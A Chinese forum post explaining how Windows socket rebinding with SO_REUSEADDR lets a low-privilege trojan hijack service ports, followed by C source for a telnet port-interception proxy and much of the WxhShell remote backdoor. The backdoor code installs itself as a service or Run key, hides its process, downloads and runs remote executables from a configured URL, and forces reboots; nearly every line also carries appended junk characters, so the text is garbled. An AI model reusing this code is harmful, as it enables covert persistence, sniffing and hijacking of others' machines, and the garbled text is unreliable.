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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i 50E#+E8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kXV;J$1  
$Qz<:?D  
  saddr.sin_family = AF_INET; q68CU~i*  
[tT_ z<e`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yh2)Pc[  
S B~opN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zLgc j(;  
 5@DCo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +e^ CL#Gs  
E{0e5.{  
  这意味着什么?意味着可以进行如下的攻击: in K]+H]{  
+BeA4d8b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DIABR%0  
0W0GSDx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D6~KLSKm  
;A4qE W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |a#=o}R_  
P3.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iX o(  
-AD@wn!wCJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uwQgu!|x  
_TLspqi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Nw9@E R  
~s-bA#0S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7]} I  
zMRa <G7  
  #include 2Z(t/Zp>  
  #include Td ade+  
  #include veuX />!  
  #include    Ni8%K6]z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4[i 3ckFT,  
  int main() XD?Lu _.  
  { BTD_j&+(  
  WORD wVersionRequested; X!:J1'FE  
  DWORD ret; #]dq^B~~  
  WSADATA wsaData; gg.]\#3g  
  BOOL val; & #JYh=#  
  SOCKADDR_IN saddr; 118lb]  
  SOCKADDR_IN scaddr; @  R[K8  
  int err; `*cqT  
  SOCKET s; }W@refS  
  SOCKET sc; >yr;Y4y7K  
  int caddsize; P4HoKoj2`  
  HANDLE mt; rrR"2WuGO  
  DWORD tid;   )u+O~Y95&i  
  wVersionRequested = MAKEWORD( 2, 2 ); ZR -RzT1  
  err = WSAStartup( wVersionRequested, &wsaData ); 0r_~LN^|[  
  if ( err != 0 ) { Oe x   
  printf("error!WSAStartup failed!\n"); ]h~F%   
  return -1; ZBR^$?nj  
  } BdMd\1eMw  
  saddr.sin_family = AF_INET; H#7=s{u  
    6/#+#T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '%4fQ%ID}  
W**[:n+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9+MW13?  
  saddr.sin_port = htons(23); =dH=3iCG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SHs [te[  
  { T*mR9 8i  
  printf("error!socket failed!\n"); XlD=<$Nk7  
  return -1; !yT=*Cj4  
  } qtdkK LT  
  val = TRUE; _h4]gZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q6N{N>-D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1X2|jj  
  { FAL#p$y}  
  printf("error!setsockopt failed!\n"); 2*^=)5Gj-h  
  return -1; B8eZ}9X  
  } ZV:df 6S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C[<{>fl)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oQrfrA&=M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p2Gd6v.t  
1) K<x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x${C[gxq9F  
  { xI<B)6D;f  
  ret=GetLastError(); &OZx!G^Z  
  printf("error!bind failed!\n"); :-#7j} R&  
  return -1; <{8x-zbR+  
  } "=n%L +6%  
  listen(s,2); M"W#_wY;  
  while(1) BKO^ux%  
  { cWyf04-?  
  caddsize = sizeof(scaddr); \BH?GMoP  
  //接受连接请求 W!T[ ^+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ob8}v*s  
  if(sc!=INVALID_SOCKET) r>! @Z2%s  
  { 9(qoME}>=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ftcLP  
  if(mt==NULL) q+4dHS)x  
  { 5x|$q kI  
  printf("Thread Creat Failed!\n"); p#Po?  
  break; Q=d:Yz":S  
  } /s%-c!o^  
  } )X," NJG  
  CloseHandle(mt); "=K3sk  
  } ]hy@5Jyh  
  closesocket(s); Du +_dr^4  
  WSACleanup(); fd #QCs  
  return 0; xjF>AAM_Px  
  }   g]JRAM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8RuW[T?  
  { TghT{h@  
  SOCKET ss = (SOCKET)lpParam; X^dasU{*  
  SOCKET sc; 0sA`})Dk  
  unsigned char buf[4096];  AV|:v3  
  SOCKADDR_IN saddr; {>vgtkJ  
  long num; ZvQZD=,F  
  DWORD val; r_+!3   
  DWORD ret; uH? 4d!G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #g@4c3um|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~3Pp}eO~V  
  saddr.sin_family = AF_INET; <,it<$f#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >Ik%_:CC`  
  saddr.sin_port = htons(23); _-H,S)kI`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o\ce|Dzt  
  { ?Fl O,|   
  printf("error!socket failed!\n"); 9{ge U9&Z  
  return -1; nh0gT>a>@  
  } <+r~?X_  
  val = 100; p5OoDo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Ix`/k}  
  { bC"h7$3  
  ret = GetLastError(); Ac{TqiIv  
  return -1; ^b~ZOg[p  
  } _t;^\"\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -IVWkA)7  
  { OGLA1}k4  
  ret = GetLastError(); _1O .{O  
  return -1; qhG2j;  
  } mJd8?d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "[k>pzl6  
  { %"oGJp  
  printf("error!socket connect failed!\n"); G;#xcld  
  closesocket(sc); DF-PBVfpu  
  closesocket(ss); Ake l.&  
  return -1; etX(~"gG_  
  } Het>G{  
  while(1) Il>o60u1  
  { K$GQc"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a%a0/!U[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !mWm@ }Ujg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _<2{8>EVf  
  num = recv(ss,buf,4096,0); AB0}6g^O  
  if(num>0) Gg GjBt  
  send(sc,buf,num,0); -R1;(n)  
  else if(num==0) gaNe\  
  break; uVhzJu.  
  num = recv(sc,buf,4096,0); B 5qy4MFWs  
  if(num>0) tI^[|@,  
  send(ss,buf,num,0); pRxVsOb  
  else if(num==0) FIAmAZH}_  
  break; Isvb;VT9L  
  } pbqk  
  closesocket(ss); T*Ge67  
  closesocket(sc); = =Q*|L-g  
  return 0 ; -G?IXgG  
  } P0_Ymn=&  
GV ) "[O  
}#M>CNi'PU  
========================================================== #H |p)2k  
?-o_]!*v0/  
下边附上一个代码,,WXhSHELL  )h>dD  
]oz>/\!  
========================================================== ^jb;4nf  
ndT_;==  
#include "stdafx.h" ^?\|2H  
9An \uH)mL  
#include <stdio.h> ?li/mc.XG  
#include <string.h> ]Lg~ I#/#  
#include <windows.h> ZQir?1=  
#include <winsock2.h> ~#VDJ[Z  
#include <winsvc.h> 9vW]HOK  
#include <urlmon.h> X7-[#} T  
B]b/(Q+  
#pragma comment (lib, "Ws2_32.lib") z<^LY]  
#pragma comment (lib, "urlmon.lib") }M"])B I  
"Dq^r9  
#define MAX_USER   100 // 最大客户端连接数 =+?OsH v  
#define BUF_SOCK   200 // sock buffer s S3RK  
#define KEY_BUFF   255 // 输入 buffer W?!rqo2SP  
K5^zu`19  
#define REBOOT     0   // 重启 LH @B\ mS  
#define SHUTDOWN   1   // 关机 9M1DE  
~ Al3Dv9x  
#define DEF_PORT   5000 // 监听端口 .q:6F*,1M  
ZdY$NpR,  
#define REG_LEN     16   // 注册表键长度 Btr>ek  
#define SVC_LEN     80   // NT服务名长度 Hd7Vp:KM  
_akjgwu  
// 从dll定义API sKs`gi2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cUd>ah v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jLO$[c`;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Uu5$q(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .!lLj1?p  
=oiz@Q@H  
// wxhshell配置信息 y0?HZ Xq  
struct WSCFG { qe e_wx  
  int ws_port;         // 监听端口 cH:&S=>h  
  char ws_passstr[REG_LEN]; // 口令 i PG:w+G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'L9hM.+  
  char ws_regname[REG_LEN]; // 注册表键名 o@[o6.B<  
  char ws_svcname[REG_LEN]; // 服务名 #4"eQ*.*"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sd.Km a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (~5]1S}F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 umAO&S.+M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8cMX=P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `)KGajB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ci:|x =  
|)0Ta 9~  
}; (n2_HePE  
3,*A VcQA  
// default Wxhshell configuration "H@I~X=  
struct WSCFG wscfg={DEF_PORT, h#)\K| qs  
    "xuhuanlingzhe", luac  
    1, |f1^&97=+  
    "Wxhshell", 2>9..c  
    "Wxhshell", s?k:X ~m  
            "WxhShell Service", SfrM|o  
    "Wrsky Windows CmdShell Service", h -091N  
    "Please Input Your Password: ", 8I#^qr5  
  1, Y,,Z47% E  
  "http://www.wrsky.com/wxhshell.exe", O7.eq524  
  "Wxhshell.exe" _ /.VXW  
    }; +7 j/.R  
7(C)vtEO:  
// 消息定义模块 KjF8T7%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y$)y:.2#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aM#xy6:XG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JX&%5sn(  
char *msg_ws_ext="\n\rExit."; v^p* l0r6:  
char *msg_ws_end="\n\rQuit."; 63$`KG3  
char *msg_ws_boot="\n\rReboot..."; lZ2g CZ  
char *msg_ws_poff="\n\rShutdown..."; ]-a/)8  
char *msg_ws_down="\n\rSave to "; u WdKG({][  
cG@W o8+  
char *msg_ws_err="\n\rErr!"; Qz2jV  
char *msg_ws_ok="\n\rOK!"; jeA2y jAC  
C{G=Y[?oc  
char ExeFile[MAX_PATH]; u$ci{<  
int nUser = 0; 'IVC!uL,%  
HANDLE handles[MAX_USER]; 0@E I@X;q  
int OsIsNt; k.)YFKi  
'dzbeTJ D5  
SERVICE_STATUS       serviceStatus; \'('HFr,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T?jN/}qg  
tO1k2<Z"Y&  
// 函数声明 4 CiRh  
int Install(void); Hv:~)h$  
int Uninstall(void); ^u0y<kItX  
int DownloadFile(char *sURL, SOCKET wsh); 42,dHYdt  
int Boot(int flag);  Yy`A0v  
void HideProc(void); `jhbKgR[  
int GetOsVer(void); ~+Cl9:4T  
int Wxhshell(SOCKET wsl); Ic&YiATj  
void TalkWithClient(void *cs); IeA/<'U s  
int CmdShell(SOCKET sock); LL+_zBP.   
int StartFromService(void); J_|%8N{[x  
int StartWxhshell(LPSTR lpCmdLine); R6z *!W{  
*J': U>p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gA1j'!\6l9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VJCj=jX  
8 K)GH:a  
// 数据结构和表定义 6e5A8e8"]  
SERVICE_TABLE_ENTRY DispatchTable[] = 8-kR {9r  
{ BV/ ^S.~  
{wscfg.ws_svcname, NTServiceMain}, m@L>6;*  
{NULL, NULL} If'N0^'W  
}; meThjCC  
Z R~2Y?Wt9  
// 自我安装 Y=<zR9f`  
int Install(void) #KHj.Vg  
{ B !rb*"[  
  char svExeFile[MAX_PATH]; "^ dMCS@  
  HKEY key; ^AZv4H*~  
  strcpy(svExeFile,ExeFile); P-yVc2YH  
pRsIi_~&  
// 如果是win9x系统,修改注册表设为自启动 d}Y#l}!E6  
if(!OsIsNt) { sE{5&aCSR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GH3RRzp r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y[rCF=ZVH  
  RegCloseKey(key); od,,2pwK+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U!BZs Vx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,LLx&jS  
  RegCloseKey(key); &Akw V-  
  return 0; sdd%u~4,X  
    } :zO;E+s  
  } wsAb8U C_  
} ku>Bxau4>  
else { =t~]@?]1D  
 3(*vZ  
// 如果是NT以上系统,安装为系统服务 KxFA@3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%9~'pXgB  
if (schSCManager!=0) h*Mi/\  
{ q8R,#\T*  
  SC_HANDLE schService = CreateService 'fzJw  
  ( zpNt[F?~1  
  schSCManager, }h3[QUVf%  
  wscfg.ws_svcname, jsKKg^ g  
  wscfg.ws_svcdisp, I.SMn,N  
  SERVICE_ALL_ACCESS, $0~1;@`rQ6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LJ z6)kz  
  SERVICE_AUTO_START, 1NrNTBI@  
  SERVICE_ERROR_NORMAL, EVLDP\w{  
  svExeFile, *rV{(%\m  
  NULL, v!n|X7  
  NULL, N];K  
  NULL, p"*xye x  
  NULL, cb. -AlqQ  
  NULL *W 04$N  
  ); lm+s5}*%o  
  if (schService!=0) .H&XP W  
  { sYk#XNH  
  CloseServiceHandle(schService); l Yj$ 3  
  CloseServiceHandle(schSCManager); onv0gb/J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V-63   
  strcat(svExeFile,wscfg.ws_svcname); aHitPPlq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O[|X=ZwR:l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HA&hu /mw_  
  RegCloseKey(key); ,,S 2>X*L  
  return 0; e_S,N0  
    } (8NE'd8  
  } <Y;w I#C  
  CloseServiceHandle(schSCManager); kD((1v*D$  
} 7Fzr\&  
} 6J -=6t|  
4:s,e<Tc4v  
return 1; ?+{_x^  
} br?pfs$U  
f&Juq8s_0  
// 自我卸载 lXVh`+X/l  
int Uninstall(void) M%$- c3x  
{ `C^0YGO%  
  HKEY key; 9R[P pE''  
yRp&pUtb  
if(!OsIsNt) { _0iV6Bj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3A! |M5  
  RegDeleteValue(key,wscfg.ws_regname); xxC2 h3  
  RegCloseKey(key); p@@*F+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . lSoC`HE  
  RegDeleteValue(key,wscfg.ws_regname); YYe=E,q  
  RegCloseKey(key); -V'Y^Df  
  return 0; |h.@Xy  
  } w,<n5dMv  
} 7eFFKl  
} %T}*DC$&S  
else { oC3W_vH.%  
og4mLoLA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L/N%ft]!T  
if (schSCManager!=0) dTwYDV}:  
{ O6\c1ha  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A":cS }Ui  
  if (schService!=0) v*OT[l7  
  { ))7CqN  
  if(DeleteService(schService)!=0) { bq}`jP~#  
  CloseServiceHandle(schService); Vw&# Lo  
  CloseServiceHandle(schSCManager); )3 '8T>^<K  
  return 0; q5) K  
  } E$v!Z;A  
  CloseServiceHandle(schService); I 6L3M\+-  
  } pMf ?'l  
  CloseServiceHandle(schSCManager); ]#'& x%m  
} ahN8IV=+Gm  
} ; 2aPhA  
be(hY{y`  
return 1; /%b nG(4  
} 8 9maN  
!&{"tL@.  
// 从指定url下载文件 "=2'Oqp1  
int DownloadFile(char *sURL, SOCKET wsh) 9?sm-qP  
{ $OzVo&P;  
  HRESULT hr; /:C<{m.[}  
char seps[]= "/"; X7*fmD=Uy  
char *token; =9:gW5F69  
char *file; jq_ i&~S  
char myURL[MAX_PATH]; 9LSV^[QUH  
char myFILE[MAX_PATH]; J(9{P/  
g$JlpD&  
strcpy(myURL,sURL); dleCh+ny?  
  token=strtok(myURL,seps); T^#d\2  
  while(token!=NULL) $qR@;=  
  { }>b@=5O  
    file=token; NE| Q0g  
  token=strtok(NULL,seps); }V 4u`=  
  } 5>VX]nE3!  
`~N jBtQ  
GetCurrentDirectory(MAX_PATH,myFILE); G#1W":|`  
strcat(myFILE, "\\"); "EZpTy}Ee  
strcat(myFILE, file); BxaGBK<k  
  send(wsh,myFILE,strlen(myFILE),0); 4K|O?MUNS  
send(wsh,"...",3,0); \GZ|fmYn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \0FwxsL  
  if(hr==S_OK) tF.N  
return 0; >Udq{<]#r  
else O;0VKNn['  
return 1; `4ti?^BNm  
j-| !QlB  
} 5inCAPXz  
nXERj; Q"  
// 系统电源模块 1'1>B  
int Boot(int flag) ffsF], _J  
{ FRsp?i K)  
  HANDLE hToken; 6A ptq  
  TOKEN_PRIVILEGES tkp; tHr4/  
mA^3?y j  
  if(OsIsNt) { D/wJF[_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VKSn \HT~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E *782>  
    tkp.PrivilegeCount = 1; G\~?.s|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zd{sw}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _.I58r  
if(flag==REBOOT) { dt/-0~U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "@t bm[  
  return 0; &%u m#XE  
} C)QKodI  
else { & s:\t L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yaz/L)Y;R  
  return 0; f6{.Uq%SGp  
} ;s+3 #Py  
  } =>@ X+4Kb  
  else { ~Q}!4LH  
if(flag==REBOOT) { \~  l"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PO ,zP9  
  return 0; 3r[ s_Y*  
} Ve<f}  
else { U(%6ny  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J'yCVb)V  
  return 0; 0:c3aq&u  
} gLK0L%"5  
} s}bLA>~Ta  
>'jkL5l  
return 1; QvJ29  
} xE!b)@>S  
(i1p6  
// win9x进程隐藏模块 B;2#Sa.  
void HideProc(void) w}e_ 17A  
{ BnaI30-  
x{/-&`F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *w}r:04F  
  if ( hKernel != NULL ) j3u!lZ}U  
  { !>/J]/4>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  i(V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !/X>k{  
    FreeLibrary(hKernel); \S{ihS@J  
  } {Z178sik  
d<E2=WVB6  
return; U~dqxR"Q  
} WC b 5  
4JXJ0T ar  
// 获取操作系统版本 z 0F55<i  
int GetOsVer(void) nswhYSX  
{ Bj\Us$cZ  
  OSVERSIONINFO winfo; b`f6(6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PfGiJ]:V-u  
  GetVersionEx(&winfo); :z6?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U /xzl4m6  
  return 1; L@f&71  
  else (!Xb8rV0_  
  return 0; VFm)!'=I  
} K cW 5  
Q5_,`r`  
// 客户端句柄模块 15%6;K?b  
int Wxhshell(SOCKET wsl) _qh \  
{ <N3~X,ch  
  SOCKET wsh; V}Oz!  O  
  struct sockaddr_in client; KIKIag#  
  DWORD myID; ^==Tv+T9U  
JOs kf(  
  while(nUser<MAX_USER) -lXQQ#V -  
{ <vu~EY0.  
  int nSize=sizeof(client); `, 4YPjk^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2EO9IxIf  
  if(wsh==INVALID_SOCKET) return 1; ce719n$   
Z Z c^~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D&]xKx  
if(handles[nUser]==0) xn)F(P 0kv  
  closesocket(wsh); }iLi5Qkx  
else %=V" }P[  
  nUser++; )Lk2tvr  
  } k?/!`   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RN;#H_ q  
$>Ow<! c  
  return 0; /q/^B> ]  
} Kek %io  
tCGA3t  
// 关闭 socket P2U4,?_e  
void CloseIt(SOCKET wsh) ?}EWfsA  
{ S&;)F|-q  
closesocket(wsh); m}2hIhD9  
nUser--; "chf \ -!$  
ExitThread(0); ^x_.3E3Q  
} Z&h:3;  
^;?w<9Y  
// 客户端请求句柄 OT"jV  
void TalkWithClient(void *cs) B%o%%A8*g  
{ B}aW y&D  
F)19cKx7  
  SOCKET wsh=(SOCKET)cs; 0rif,{"  
  char pwd[SVC_LEN]; > :0N)Pj  
  char cmd[KEY_BUFF]; auM1k]  
char chr[1]; 7 Rc/<,X  
int i,j; ?q0a^c?A^  
nhd.c2t\  
  while (nUser < MAX_USER) { M3dUGM  
ZvK3Su)f1  
if(wscfg.ws_passstr) { E;"VI2F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -W: @3\{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5r;)Ppo  
  //ZeroMemory(pwd,KEY_BUFF);  U8% IpI;  
      i=0; E^~ {thf  
  while(i<SVC_LEN) { &]anRT#  
=w:H9uj6F  
  // 设置超时 t*Z-]P  
  fd_set FdRead; ?wjk=hM2  
  struct timeval TimeOut; O.aAa5^uh  
  FD_ZERO(&FdRead); ,V&E"D{u  
  FD_SET(wsh,&FdRead); x/0x&la  
  TimeOut.tv_sec=8; z_8Bl2tl  
  TimeOut.tv_usec=0; */vid(P77  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z$35`:x&h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w2U]RI\?2  
'z+Pa^)v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v~p?YYOm<  
  pwd=chr[0]; 9>_VU"T  
  if(chr[0]==0xd || chr[0]==0xa) { ,3)JZM  
  pwd=0; r 2{7h>  
  break; ]HRHF'4  
  } DvA#zX[  
  i++; P#;pQC  
    } kjSzu qB  
z,VXH ?.Zo  
  // 如果是非法用户,关闭 socket 77 ?TRC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sr~VvciIy  
} `2xt%kC  
C3 m_sv#e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gr3 q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !=+;9Ry$z  
ADMeOdgca  
while(1) { Q0Gfwl  
c{T)31ldW  
  ZeroMemory(cmd,KEY_BUFF); IY?o \vC  
bf\ Uq<&IJ  
      // 自动支持客户端 telnet标准   >(sS4_O7N  
  j=0; ^Je*k)COn  
  while(j<KEY_BUFF) { D9n+eZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u4[JDB7tH  
  cmd[j]=chr[0]; XW{cC`&  
  if(chr[0]==0xa || chr[0]==0xd) { bnE&-N*  
  cmd[j]=0; LI"N^K'z  
  break; /4+*!X  
  } CKDg3p';  
  j++; y!j>_m){w  
    } 9 Lqz:4}  
,yi@?lc  
  // 下载文件 Pfm B{  
  if(strstr(cmd,"http://")) { lI5>d(6p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rhN"#?  
  if(DownloadFile(cmd,wsh)) / ]nrxT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?X7nM)  
  else >.REg[P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BJsN~` =r  
  } t4-0mNBZt$  
  else { fY|vq amA;  
~\c  j  
    switch(cmd[0]) { pFwe&_u]  
  AUl[h&s  
  // 帮助 Q2!RFtXV  
  case '?': { Q%t _Epe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n|PW^kOE/  
    break; 9|9/8a6A  
  } YDEb MEMd/  
  // 安装 *#'&a(h B!  
  case 'i': { >SD?MW 1E  
    if(Install()) v\XO?UEJ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xd&oERJj  
    else K%/g!t)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ge76/T%{Q  
    break; "(:8 $Fb  
    } wee5Nirw6  
  // 卸载 b/=>'2f  
  case 'r': { ?;go5f+X  
    if(Uninstall()) h0VeXUM;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sWgzHj(c  
    else 1mx;b)4t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!zL)u|  
    break; o1Wf#Zq   
    } G:MQ_tfr&  
  // 显示 wxhshell 所在路径 |:d_IB@  
  case 'p': { N&u(9Fxn  
    char svExeFile[MAX_PATH]; /IC]}0kkp  
    strcpy(svExeFile,"\n\r"); m9Dg%\B  
      strcat(svExeFile,ExeFile); "+BuFhSLf  
        send(wsh,svExeFile,strlen(svExeFile),0); D\sh +}"  
    break; BagV\\#v4  
    } mpl^LF[  
  // 重启 1sfs!b&E  
  case 'b': { [wUJ ~~2#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mS]soYTQ  
    if(Boot(REBOOT)) '_xa>T}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }i\_`~  
    else { JZD&u6tB   
    closesocket(wsh);  c$)!02  
    ExitThread(0); zM'2opiUY  
    } gac/%_-HH7  
    break; 'Ub\8<HfJU  
    } m] @o1J  
  // 关机 TI3@/SB>  
  case 'd': { Q!W+vh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =5h ,ZB2A  
    if(Boot(SHUTDOWN)) N3Z6o.k  
